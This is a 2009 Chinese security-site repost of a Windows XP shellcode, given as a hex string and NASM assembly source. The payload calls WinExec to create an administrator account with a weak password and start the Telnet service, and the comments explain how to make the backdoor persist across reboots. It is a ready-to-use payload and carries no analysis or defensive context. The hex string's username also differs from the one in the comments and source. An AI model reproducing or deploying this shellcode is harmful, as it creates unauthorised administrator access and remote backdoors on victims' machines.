当前位置: 首页 > 图文教程 > 网络安全 > 杀毒防毒 > shellcode增加管理员账户开telnet

杀毒防毒
U盘(auto病毒)类病毒分析与解决方案
解析魔兽木马Trojan-PSW.Win32.WOW
绕过主动防御 木马病毒刺穿卡巴斯基
总结经典:木马十大藏身地点大搜查
手动清除 chcp.exe病毒 保护 MSN的安全
卡巴斯基KIS 7.0防火墙设置完全攻略
百毒不侵 如何以不变应万变预防病毒
病毒日新月异 六大反病毒技术亟待成熟
守住你的网站 防御DDoS攻击实用指南
提高诺顿杀毒软件速度的五则技巧
安全升级 新版迅雷杀毒方案之详解
病毒非电脑的专利 常见手机病毒分析
卡巴斯基8.0主要特性介绍(附激活码)
几大常见的手机杀毒软件试用横评
三种2008版杀毒软件七大主流功能横评
检测硬盘与内存中病毒痕迹的四种绝招
优化XP使卡巴斯基7.0单机版运行流畅
上网不再怕中毒 教你一招克死所有病毒
“色情终结者”病毒专删PC内色情电影
精心设置卡巴斯基 加快杀毒速度

杀毒防毒 中的 shellcode增加管理员账户开telnet


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-20   浏览: 26 ::
收藏到网摘: n/a

  ; payload:add admin acount & Telnet Listening
  ; Author: DATA_SNIPER
  ; size:111 bytes
  ; platform:WIN32/XP SP2 FR
  ; thanks:Arab4services team & AT4RE Team
  ; more info: visit my blog http://datasniper.arab4services.net
  ; The Sh3llcode:
  ; "\xEB\x08\xBA\x4D\x11\x86\x7C\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x6D\x64\x20\x2F\x63"
  ; "\x20\x6E\x65\x74\x20\x75\x73\x65\x72\x20\x68\x69\x6C\x6C\x20\x31\x32\x33\x34\x35"
  ; "\x36\x20\x2F\x41\x44\x44\x20\x26\x26\x20\x6E\x65\x74\x20\x6C\x6F\x63\x61\x6C\x67"
  ; "\x72\x6F\x75\x70\x20\x41\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x65\x75\x72\x73"
  ; "\x20\x68\x69\x6C\x6C\x20\x2F\x41\x44\x44\x20\x26\x26\x20\x73\x63\x20\x73\x74\x61"
  ; "\x72\x74\x20\x54\x6C\x6E\x74\x53\x76\x72\x00"
  ; Description: it's simular to TCP BindShell on port 23,throught Command execution we can get shell access throught telnet service on Windows b0x.
  ; Add admin account command user=GAZZA ,pass=123456 :cmd /c net user GAZZA 123456 /ADD && net localgroup Administrateurs GAZZA /ADD
  ; Start telnet service: sc start TlntSvr
  ; For saving ur access to the B0x again and again :),u can use this command:
  ; "sc config TlntSvr start= auto &  sc start TlntSvr" instead of:
  ; "sc start TlntSvr"
  ; NASM -s -fbin telnetbind.asm
  BITS 32
  db 0EBh,08h    ;such as "jmp Data" ,i puted it in opcode format for avoiding null problem.
  Exec:
  MOV EDX,7C86114Dh ;WinExec addr in WIN XP SP2 FR
  CALL EDX
  INT3 ;just interrupter (hung the shellcode after it do his job,any way u can use ExitProcess) for avoiding infinite loop
  Data:
  CALL Exec
  db 'cmd /c net user GAZZA 123456 /ADD & net localgroup Administrateurs GAZZA /ADD & sc start TlntSvr',00h
  ;add user GAZA with 123456 password and start telnet service ;BTW the exstension cuted for saving som byte ;)